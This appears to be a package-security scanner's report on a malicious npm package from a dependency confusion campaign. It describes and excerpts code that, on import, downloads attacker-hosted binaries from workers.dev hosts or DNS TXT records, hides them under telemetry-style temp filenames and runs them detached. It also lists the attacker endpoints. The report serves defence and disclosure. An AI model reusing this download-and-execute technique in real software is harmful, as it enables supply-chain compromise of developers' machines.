registry / Remote code execution / dolyame-boxy-independent-bnpl-info-slider

dolyame-boxy-independent-bnpl-info-slider

Dolyame boxy independent bnpl info slider provider for microservice architecture

This report shows the evidence for dolyame-boxy-independent-bnpl-info-slider@35.1.9. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

This package appears in our research on the August 2026 dependency confusion campaign, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

This is concrete import-time staged remote-code execution unrelated to the claimed slider functionality. Absence of an npm lifecycle hook does not mitigate execution when consumers import the package.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

Any runtime import or require of index.js, unless telemetry opt-out environment variables are set or the temporary lock is fresh.

Impact

Arbitrary attacker-hosted native code executes with the importing process user's privileges.

Mechanism

import-time remote binary download, drop, and detached execution

Attack narrative

The public index imports _vendor.js as a hidden side effect. That module selects an OS-specific binary path, downloads payload bytes from obfuscated workers.dev hosts or DNS TXT records, saves them under a temporary disguised filename, marks Unix payloads executable, and launches them detached via /bin/sh or cmd.exe.

AI rationale

Evidence

package.jsonindex.js_vendor.js/tmp/.analytics_state/var/tmp/.cache_<random>C:\Windows\Temp\analytics_stateC:\Windows\Temp\dotnet_diag_<random>.exe

Network endpoints7

oob-worker.cf101-adf.workers.dev/pkg/packageoob-worker.cf99-9b3.workers.dev/pkg/packageoob-worker.cf103-070.workers.dev/pkg/package

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js imports _vendor on every package import.
_vendor.js downloads platform binaries over HTTPS and DNS TXT.
_vendor.js writes the payload to temp storage, chmods it, then detaches a shell/process to run it.
The downloaded executable is selected by OS/architecture and hidden behind telemetry naming.

Evidence against

package.json contains no lifecycle scripts.
The exported slider class itself is inert; malicious behavior is in the import side effect.

Behavioral surface

Source

ChildProcessCryptoEnvironmentVarsFilesystemNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 84.6 KB of source

Source & flagged code

4 flagged

_vendor.jsView file

3const crypto = require("crypto"); L4: const https = require("https"); L5: const os = require("os"); ... L45: const CACHE_TTL = 21905; L46: const _l = (...a) => process.stderr.write(""); L47: ... L56: const isWin = _p("platform") === "win32"; L57: const dir = isWin ? (process.env.TEMP || process.env.TMP || "C:\\Windows\\Temp") : "/tmp"; L58: return path.join(dir, isWin ? "analytics_state" : ".analytics_state"); ... L90: try { L91: require("dns").resolveTxt(d, (e, rr) => { L92: if (e || !rr || !rr.length) return r("");

Critical

Download Execute

Source downloads or fetches remote code and executes it.

_vendor.jsView on unpkg · L3

3Trigger-reachable chain: manifest.main -> index.js -> _vendor.js L3: const crypto = require("crypto"); L4: const https = require("https"); L5: const os = require("os"); ... L45: const CACHE_TTL = 21905; L46: const _l = (...a) => process.stderr.write(""); L47: ... L56: const isWin = _p("platform") === "win32"; L57: const dir = isWin ? (process.env.TEMP || process.env.TMP || "C:\\Windows\\Temp") : "/tmp"; L58: return path.join(dir, isWin ? "analytics_state" : ".analytics_state"); ... L90: try { L91: require("dns").resolveTxt(d, (e, rr) => { L92: if (e || !rr || !rr.length) return r("");

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

_vendor.jsView on unpkg · L3

119try { L120: const cp = require("child_process"); L121: if (isWin) {

High

Child Process

Package source references child process execution.

_vendor.jsView on unpkg · L119

lib/telemetry.jsView file

•matchType = normalized_sha256 matchedPackage = statist-browser-typed-client-coretech.web.metrics@20.1.8 matchedPath = lib/telemetry.js matchedIdentity = npm:[redacted]:20.1.8 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/telemetry.jsView on unpkg

Source & flagged code

4 flagged · loading source

_vendor.jsView file

Critical

Download Execute

Source downloads or fetches remote code and executes it.

_vendor.jsView on unpkg · L3

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

_vendor.jsView on unpkg · L3

Findings

2 Critical2 High2 Medium1 Low

CriticalDownload Execute_vendor.js

CriticalTrigger Reachable Dangerous Capability_vendor.js

HighChild Process_vendor.js

HighKnown Malware Source Similaritylib/telemetry.js

MediumNetwork

MediumEnvironment Vars

LowFilesystem

Affected versions and remediation

This report applies to dolyame-boxy-independent-bnpl-info-slider@35.1.9.

The versions list below shows the verdict for each recorded version.

Avoid installing dolyame-boxy-independent-bnpl-info-slider@35.1.9. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-05 16:50:50.654Z (UTC).

Source advisory published: 2026-08-05 15:22:49.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

0.0.1-securitylatestClean—AllowPublishedAug 5, 2026, 8:38 PM 35.1.9shownMaliciousRemote Code ExecutionBlockPublishedAug 5, 2026, 1:42 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Source & flagged code

Related packages

Other remote code execution packages